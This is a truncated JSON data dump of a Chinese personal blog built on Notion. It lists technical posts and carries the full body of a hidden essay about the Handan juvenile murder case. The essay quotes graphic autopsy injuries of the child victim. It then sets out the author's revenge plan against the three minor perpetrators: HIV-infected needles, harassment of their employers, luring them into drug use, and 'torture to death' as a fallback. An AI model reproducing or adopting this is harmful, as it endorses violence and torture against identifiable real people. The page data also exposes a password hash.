ategory":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"Mar 22, 2024","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"Mar 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}],"blockMap":{"block":{"62779828-3770-4944-923d-0e0a307d9cfe":{"value":{"id":"62779828-3770-4944-923d-0e0a307d9cfe","version":647,"type":"page","content":["68d5a6f5-04eb-4000-84b4-12a4b26ebbd6","9203ae03-d45c-4f73-9780-c4a596383e62","54ae27d7-911b-432f-a21c-d89add64c4b7","e69c165b-bc10-477e-9ea9-77e2d3c3a97f","9f444f62-c23c-4ddb-b3e6-e3ffce4165fa","c1011ac4-c92c-4417-bfaa-aa9a99b9a333","3e3937d1-ae9c-4c17-93a2-0b9b8cf21613","12df1d73-0b3b-468f-be78-4085aa672e7e","065d82bc-b9b8-4a23-8301-0a7184f6555e","49e2b9c2-57cf-4903-b023-891390a5f5e6","e5bbc1aa-4cce-4100-97cc-7e91a5bfd887","c2701d9a-b9be-4146-8cef-9f7ba9bb77f4","c387abb8-0f80-4386-b76a-62d9a062aace","4378f4a3-7730-400b-85c9-7ad572373c02","6f6df956-6233-41e1-b8b6-04276df78565","39239fb6-ff0b-4a2b-aaab-256e40ef3929","9d3fc26e-b533-4151-8e93-4ee92ef74512","39104598-89f2-4f9d-b873-fce46e305dce","e5cbb4cc-f1f9-462b-b473-aa1a25b13af2","79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e","8c917035-dac2-4707-8333-347a39998592","4b61301c-9884-462c-ad6c-d7fd8447cd47","75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","db2f6108-70f4-48de-86ca-b786f1a84a61"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1711119078976,"last_edited_time":1711285869207,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"68d5a6f5-04eb-4000-84b4-12a4b26ebbd6":{"value":{"id":"68d5a6f5-04eb-4000-84b4-12a4b26ebbd6","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"9203ae03-d45c-4f73-9780-c4a596383e62":{"value":{"id":"9203ae03-d45c-4f73-9780-c4a596383e62","type":"header","properties":{"title":[["愤怒"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119599647,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"54ae27d7-911b-432f-a21c-d89add64c4b7":{"value":{"id":"54ae27d7-911b-432f-a21c-d89add64c4b7","type":"image","properties":{"size":[["216.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/7b3fc4da-dd05-483c-99f8-65ecd595269c/Untitled.png"]]},"format":{"block_width":630,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/7b3fc4da-dd05-483c-99f8-65ecd595269c/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3726541554959786,"block_preserve_scale":true},"created_time":1711119591167,"last_edited_time":1711119596222,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"file_ids":["7b3fc4da-dd05-483c-99f8-65ecd595269c"]}},"e69c165b-bc10-477e-9ea9-77e2d3c3a97f":{"value":{"id":"e69c165b-bc10-477e-9ea9-77e2d3c3a97f","type":"quote","properties":{"title":[["2024年3月11日下午4:00,河北-邯郸-肥乡区-北高镇张庄村,警方发现了失踪了二十几个小时[王子耀]的尸体。\n\n2024年3月18日,[王子耀]父亲和臧梵清律师共同见证了尸检的过程。"]]},"created_time":1711119659021,"last_edited_time":1711120615725,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"9f444f62-c23c-4ddb-b3e6-e3ffce4165fa":{"value":{"id":"9f444f62-c23c-4ddb-b3e6-e3ffce4165fa","type":"header","properties":{"title":[["思考"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711122036789,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"c1011ac4-c92c-4417-bfaa-aa9a99b9a333":{"value":{"id":"c1011ac4-c92c-4417-bfaa-aa9a99b9a333","type":"text","properties":{"title":[["这几天来来回回刷,看臧梵清律师采访,看[王子耀]父亲采访,看社会各界评论,追海内外事件报道。我无法压抑心中的怒火,我清楚3名畜生的结局。他们一定会在出狱后某个傍晚就着啤酒哄笑到,那次谁下手最狠,谁又是怂逼。"]]},"created_time":1711119881948,"last_edited_time":1711120592022,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"3e3937d1-ae9c-4c17-93a2-0b9b8cf21613":{"value":{"id":"3e3937d1-ae9c-4c17-93a2-0b9b8cf21613","type":"quote","properties":{"title":[["臧梵清律师采访 —《澎湃新闻》\n\n“脸部 从这个位置 一直到这个位置”\n“大概有十处刀伤 钝器物的伤口”\n“有可能是铁锹铲进去的”\n“有的这么长 有的这么长”\n“有的这么深”\n”一只眼睛的眼珠子已经翻出来了”\n”颈部 我数了一下大概有七道(伤痕)”\n”腰部大概有七八道 一开始我以为是棍子打击的”\n”后来开腹打开之后”\n”肝脏后面有这么大的一个出血口”\n”前面没有问题”\n”很有可能是从后面 有小孔贯穿进去”\n”[王子耀]的一只手 食指肿胀发青”\n”这个手这个位置断裂”\n"]]},"created_time":1711120599335,"last_edited_time":1711121099509,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"12df1d73-0b3b-468f-be78-4085aa672e7e":{"value":{"id":"12df1d73-0b3b-468f-be78-4085aa672e7e","type":"text","properties":{"title":[["我快丧失理智了,我这几天脑子里始终在复盘如何上刑才能解我心头之恨。"]]},"created_time":1711120805875,"last_edited_time":1711121164966,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"065d82bc-b9b8-4a23-8301-0a7184f6555e":{"value":{"id":"065d82bc-b9b8-4a23-8301-0a7184f6555e","type":"text","properties":{"title":[["我是极端tryCatch爱好者,我会考虑许多不管概率大小的潜在风险。我下意识的会去想我该怎么办,我是这名父亲我该怎么办。"]]},"created_time":1711121165754,"last_edited_time":1711121286007,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"49e2b9c2-57cf-4903-b023-891390a5f5e6":{"value":{"id":"49e2b9c2-57cf-4903-b023-891390a5f5e6","type":"image","properties":{"size":[["185.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e645683e-cc5d-4e34-8f89-2190f4ff0a97/Untitled.png"]]},"format":{"block_width":590,"block_height":416,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e645683e-cc5d-4e34-8f89-2190f4ff0a97/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.7050847457627119,"block_preserve_scale":true},"created_time":1711121304072,"last_edited_time":1711121307405,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"file_ids":["e645683e-cc5d-4e34-8f89-2190f4ff0a97"]}},"e5bbc1aa-4cce-4100-97cc-7e91a5bfd887":{"value":{"id":"e5bbc1aa-4cce-4100-97cc-7e91a5bfd887","type":"text","properties":{"title":[["由于三名畜生都是未成年,死刑不可能,就算万民血书,也不能专开这个口子。"]]},"created_time":1711120647926,"last_edited_time":1711121567909,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"c2701d9a-b9be-4146-8cef-9f7ba9bb77f4":{"value":{"id":"c2701d9a-b9be-4146-8cef-9f7ba9bb77f4","type":"text","properties":{"title":[["杀人偿命确实天经地义,可中国太大了,每天形形色色的犯罪数不胜数,未成年被保护不受死刑,可以避免许多冤假错案。试想我的12岁孩子如果被特权阶层威逼杀人,没有舆论,严刑逼供,直接判成恶性故意杀人铁案。"]]},"created_time":1711121599935,"last_edited_time":1711122045243,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"c387abb8-0f80-4386-b76a-62d9a062aace":{"value":{"id":"c387abb8-0f80-4386-b76a-62d9a062aace","type":"header","properties":{"title":[["如何"]]},"created_time":1711122045243,"last_edited_time":1711122053899,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"4378f4a3-7730-400b-85c9-7ad572373c02":{"value":{"id":"4378f4a3-7730-400b-85c9-7ad572373c02","type":"quote","properties":{"title":[["[王子耀]父亲采访 —《看看新闻》\n\n“我不甘心”\n“我就要弄清楚”\n“我这么好的一个孩子”\n"]]},"created_time":1711122058327,"last_edited_time":1711122198938,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"6f6df956-6233-41e1-b8b6-04276df78565":{"value":{"id":"6f6df956-6233-41e1-b8b6-04276df78565","type":"text","properties":{"title":[["我当然只想杀了这三个狗日的,但是我不能这样做,这样不能利益最大化。\n我要把愤怒转化成一个极其精密的复仇工程。\n我会一辈子游走在法律边缘,让这三个畜生从头到尾的毁灭才是我最大的动力。"]]},"created_time":1711120628009,"last_edited_time":1711122385872,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"39239fb6-ff0b-4a2b-aaab-256e40ef3929":{"value":{"id":"39239fb6-ff0b-4a2b-aaab-256e40ef3929","type":"text","properties":{"title":[["\n来,你们三个畜生看着我眼睛:\n我会让你持续在高压的舆论环境中社会性死亡\n在日日夜夜的街头,你总能踩到艾滋病毒的针头"]]},"created_time":1711122386421,"last_edited_time":1711122713684,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"9d3fc26e-b533-4151-8e93-4ee92ef74512":{"value":{"id":"9d3fc26e-b533-4151-8e93-4ee92ef74512","type":"text","properties":{"title":[["你隐姓埋名进的每一个黑厂,第二天老板都会收到莫名的电话轰炸"]]},"created_time":1711122809122,"last_edited_time":1711122868371,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"39104598-89f2-4f9d-b873-fce46e305dce":{"value":{"id":"39104598-89f2-4f9d-b873-fce46e305dce","type":"text","properties":{"title":[["你父母也必须社会性死亡,家庭每天充斥的都是悦耳的争吵\n他们把所有家庭的不幸,都怪罪于你"]]},"created_time":1711122583422,"last_edited_time":1711122899994,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"e5cbb4cc-f1f9-462b-b473-aa1a25b13af2":{"value":{"id":"e5cbb4cc-f1f9-462b-b473-aa1a25b13af2","type":"text","properties":{"title":[["可是你没错,你现在成年了,拿着这把铁锹直接挥向他们"]]},"created_time":1711122902623,"last_edited_time":1711122963327,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e":{"value":{"id":"79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e","type":"text","properties":{"title":[["你一定忍不住尝一口drug,你是忍不住的,不是我强行喂的\n你没钱了啊,你非要去送这一单drug\n没办法,叔叔那边缺点任务指标"]]},"created_time":1711122725898,"last_edited_time":1711122971616,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"8c917035-dac2-4707-8333-347a39998592":{"value":{"id":"8c917035-dac2-4707-8333-347a39998592","type":"text","properties":{"title":[["\n如果以上方法效果我不满意,必须有兜底机制,折磨致死也不迟。"]]},"created_time":1711122680017,"last_edited_time":1711123114185,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"4b61301c-9884-462c-ad6c-d7fd8447cd47":{"value":{"id":"4b61301c-9884-462c-ad6c-d7fd8447cd47","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119084262,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1":{"value":{"id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","type":"column_list","content":["e47e97cd-2e5a-4f01-86c9-297f278a012c","5396a260-c16a-4da5-9324-b64f4d1a4f46","c28bcbf2-1f56-480b-be97-471efef9a57b"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119084262,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"e47e97cd-2e5a-4f01-86c9-297f278a012c":{"value":{"id":"e47e97cd-2e5a-4f01-86c9-297f278a012c","type":"column","content":["1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"5396a260-c16a-4da5-9324-b64f4d1a4f46":{"value":{"id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","type":"column","content":["b970c508-ada6-4cd2-be36-58fcc1de9201","82610ac2-030e-4a50-b944-af1127776438"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-49